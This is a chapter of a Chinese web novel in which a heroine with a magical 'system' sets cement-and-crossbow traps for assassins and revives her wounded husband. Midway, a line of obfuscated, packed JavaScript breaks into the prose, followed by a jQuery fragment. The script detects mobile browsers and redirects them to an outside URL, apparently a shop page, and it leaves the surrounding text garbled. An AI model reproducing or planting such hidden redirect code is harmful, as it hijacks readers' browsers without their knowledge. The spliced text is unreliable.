这听风苑,与其说是个家,不如说是个四处漏风的筛子,一个精心布置的牢笼。
今夜来的是一个“影”,明夜就可能是十个、百个!
与其被动挨打,不如……把它改造成一座真正的铜墙铁壁,一座让所有敢于窥探的敌人都有来无回的活地狱!
“阿虎!”沈惊鸿猛地转身,对着门外那个守着刀、浑身湿透也站得笔直的壮汉低喝道。
“少夫人在!”阿虎一个激灵,大步跨了进来,身上带进一股潮冷的雨气。
“去,把白天砌墙剩下那些碎铁片、铁渣子,还有那几袋没用完的石灰粉,都给我找出来!”沈惊鸿的眼神在雨夜中亮得吓人,像一头锁定猎物的饿狼,“再叫上几个信得过的兄弟,跟我走!”
阿虎脑子还没转过弯,但身体已经本能地应道:“是!”
他搞不懂少夫人这大半夜的,又是火攻又是刺客的,不赶紧加派人手巡逻,倒腾那些破铜烂铁干嘛。
但这段时日的相处,让他对沈惊鸿的命令有了一种近乎盲目的信任。
少夫人让干啥,照做就对了!
沈惊鸿不再多言,转身从系统空间里提取出那份《墨家机关术残卷》。
残卷化作一道微光,瞬间涌入她的脑海。
无数精巧绝伦、构思诡谲的机关图谱在她意识中飞速流转、重组、拆解。
那些曾经只在传说中听闻的奇技淫巧,此刻仿佛成了她与生俱来的本能。
她走到院中,任由冰冷的雨水浇在身上,那股湿冷让她愈发清醒。
她踩着泥泞的地面,伸手指着院门入口处那片空地,对扛着工具跟上来的阿虎等人沉声道:“就在这里,往下挖三道平行的浅沟,半尺深就够!快!”
汉子们虽然满腹狐疑,却不敢怠慢,抡起铁锹就干了起来。
雨水和泥土混在一起,很快,三道浅沟便已成型。
沈惊鸿又指挥道:“把碎铁片和石灰粉倒进去,再把剩下的水泥浆给我和上稀泥,全部灌满!”
这操作,更是把阿虎等人看傻了。
这……这不就是埋垃圾吗?
难道还能防刺客?
可沈惊鸿的表情不容置喙,她亲自检查着每一道沟里的填充物,甚至从袖中摸出几根不知从哪儿来的坚韧丝线,以一种极为刁钻的角度,将它们半埋在尚未凝固的水泥里,另一端则悄无声息地连接到墙角几块不起眼的石头上。
这便是《机关术残卷》里最基础、也最阴损的“连环绊马索”。
看似寻常的地面,一旦水泥凝固,那些半露的铁片将锋利如刀。
而那几根不起眼的丝线,一旦被高速移动的人绊到,牵动的可不是石头,而是更深处埋藏的……杀机!
屋内,烛火摇曳。
陆子青额上沁出细密的汗珠,他手里的银针穿过皮肉,正在为谢连舟缝合肩头的伤口。
他一边缝,一边心惊肉跳。
那暗镖上的毒素极为霸道,若非少夫人那颗神奇的解毒丸,少主此刻怕是已经化为一滩脓水了。
更让他震惊的是,沈惊鸿随手丢给他那包金疮药,只撒上薄薄一层,那狰狞的伤口竟以肉眼可见的速度止住了血,连肌肉的颤抖都平复了许多。
这药效,比宫里御赐的“玉露膏”还要神奇!
这位少夫人身上,到底还藏着多少秘密?
就在陆子青打完最后一个结,准备包扎时,房门“吱呀”一声被推开。
沈惊鸿带着一身寒气和雨水走了进来。
她看都没看谢连舟的伤口,径直走到床榻边,将一块从刺客“影”身上硬扯下来的、还带着血污和体温的腰牌,“啪”地一声,丢在了谢连舟的枕边。
那是一块沉木腰牌,上面用阴刻的篆文雕着一个“谢”字,和一个小小的“东”字。
谢府,东院,大夫人的死契杀手!
“看清楚了,”沈惊鸿的声音比窗外的雨还要冷,她居高临下地看着床上那个脸色苍白的男人,嘴角勾起一抹讥讽的弧度,“这就是你那个温婉贤淑、视你如己出的‘好母亲’,送你的新婚大礼。她的人,可比你那些废物护卫管用多了。”
谢连舟的眼睫微微颤动,失血过多让他陷入了半昏迷的状态,但沈惊鸿的话,却像一根根淬毒的钢针,狠狠扎入他混沌的意识里。
他想睁眼,眼皮却重如千斤。
他想开口反驳,喉咙里却只能发出嗬嗬的漏风声。
“啧,真是个不经用的废物。”沈惊鸿见他这副要死不活的样子,眉头皱得更紧。
她的“经验包”可不能就这么废了。
【叮!检测到目标人物‘谢连舟’生命体征跌落至危险阈值!】
【触发隐藏任务:病中看护!】
【宿主对目标进行有效治疗,可获得随机暴击返还!】
系统的提示音适时响起。
沈惊鸿心中一动,毫不犹豫地从系统空间兑换出一颗鸽子蛋大小、通体血红、散发着浓郁人参香气的药膏。
“补血精元膏”,系统出品,生死人肉白骨不敢说,但补回这点血气,绰绰有余!
她捏开谢连舟的下巴,动作依旧粗暴,没有半分温柔,直接将那黏糊糊的药膏尽数塞进了他的嘴里。
药膏入口即化,一股磅礴而温热的暖流瞬间涌入谢连舟的四肢百骸,驱散了失血带来的冰冷和虚弱。
他干涸的经脉仿佛被久旱的甘霖滋润,苍白的嘴唇竟迅速恢复了一丝血色。
【叮!
宿主赠予目标“补血精元膏”一份,目标生命体征稳定回升!】
【触发“双倍暴击”返还!】
【恭喜宿主获得“精炼玄铁十斤”!
补偿“听风苑全景警戒图”一份!】
脑海中,一幅精细无比的立体地图瞬间展开,听风苑内的每一处建筑、每一棵树木、甚至每一块松动的地砖都标注得清清楚楚。
更重要的是,地图上还有几个闪烁的红点,正在院墙外快速移动!
来了!
沈惊鸿眼中寒芒一闪。
大夫人果然是赶尽杀绝的性子,一击不成,立刻派来了增援!
她转身对吓傻了的陆子青命令道:“看好他,不准任何人进来!”
话音未落,她人已如一道离弦之箭,冲进了暴雨之中。
院墙外,三道黑影借着雨声的掩护,如狸猫般悄无声息地攀上了墙头。
他们是“影”的同伴,奉命前来确认结果,并补上最后一刀。
三人交换了一个眼神,动作划
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355489|199505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一地翻身跃下。
然而,脚掌落地的瞬间,传来的却不是预想中松软泥土的触感!
“噗嗤!”
他们的双脚,竟像是踩进了某种迅速凝固的沼泽里,被一股巨大的力量死死吸住,瞬间便陷到了脚踝!
是水泥!
是那些白天还只是寻常泥浆的水泥,此刻在雨水和石灰粉的催化下,已经开始快速硬化!
三人心中大骇,正欲发力挣脱,脚下却同时传来“绷”的一声轻响!
是丝线断裂的声音!
下一秒,异变陡生!
他们脚下那片看似平整的土地,竟“咔咔咔”地裂开数道缝隙,数十支早已上弦、涂抹了剧毒的短弩,从地底的机扩中猛然弹出!
“咻咻咻——!”
密集的破空声在雨夜中尖锐刺耳!
那三名训练有素的暗卫连惨叫都来不及发出一声,膝盖、小腿便被这猝不及防的连环弩箭射成了筛子!
剧烈的疼痛让他们瞬间失去了平衡,可双脚又被水泥牢牢固定,只能发出绝望的闷哼,扑倒在泥水之中,抽搐着,眼睁睁看着伤口处的肌肉迅速变黑、腐烂。
从翻墙到倒地,不过短短三息!
沈惊鸿撑着一把油纸伞,缓步从主屋的屋檐下走出。
她站在雨中,冷漠地看着在泥浆里垂死挣扎的三人,眼神没有一丝波澜。
她身后,阿虎提着一个沉重的麻袋,走了过来,声音因震惊而微微发颤:“少夫人,这……这是啥时候弄的?”
沈惊鸿没有回答。
她意念一动,那十斤沉甸甸的精炼玄铁便凭空出现在麻袋中。
“哐当”一声,麻袋落在阿虎脚边。
“这是玄铁,”沈惊鸿的声音清冷如冰,“你手艺好,连夜把它给我打成一面最厚、最结实的重盾!天亮之前,我要看到它!”
阿虎感受着那麻袋惊人的分量,和里面玄铁传来的独特质感,心头巨震。
他抬起头,敬畏地看着眼前这个在暴雨中指挥若定、杀伐果决的女子,重重地点了点头:“是,少夫人!”
说罢,他扛起玄铁,大步流星地走向了后院那间简陋的铁匠棚。
沈惊鸿缓缓转身,隔着重重雨幕,望向主屋那扇透出昏黄烛光的窗户。
而此刻的屋内,谢连舟确实已经睁开了眼。
他侧躺在床上,身体依旧虚弱,但神智却前所未有的清醒。
那股霸道的药力还在修复着他的身体,让他能清楚地听到窗外的雨声、惨叫声,以及沈惊鸿与阿虎那简短却充满力量的对话。
他的视线穿透了雨帘,落在了那个撑着伞、背影纤细却如山岳般沉稳的女人身上。
她到底是谁?
她那些层出不穷的手段,那身诡异的蛮力,那些闻所未闻的机关毒药,还有她那双仿佛能洞悉一切的眼睛……这一切,都绝不可能是一个养在深闺的将军府义女所能拥有的。
他缓缓抬起那只没有受伤的手,将枕边那块冰冷的、带血的腰牌,一点一点地攥紧。
坚硬的沉木边缘刺痛了他的掌心,可这点疼痛,却远不及他心中翻涌的惊涛骇浪。
“咔嚓。”
腰牌,在他掌中被生生捏碎,化作一堆冰冷的木屑。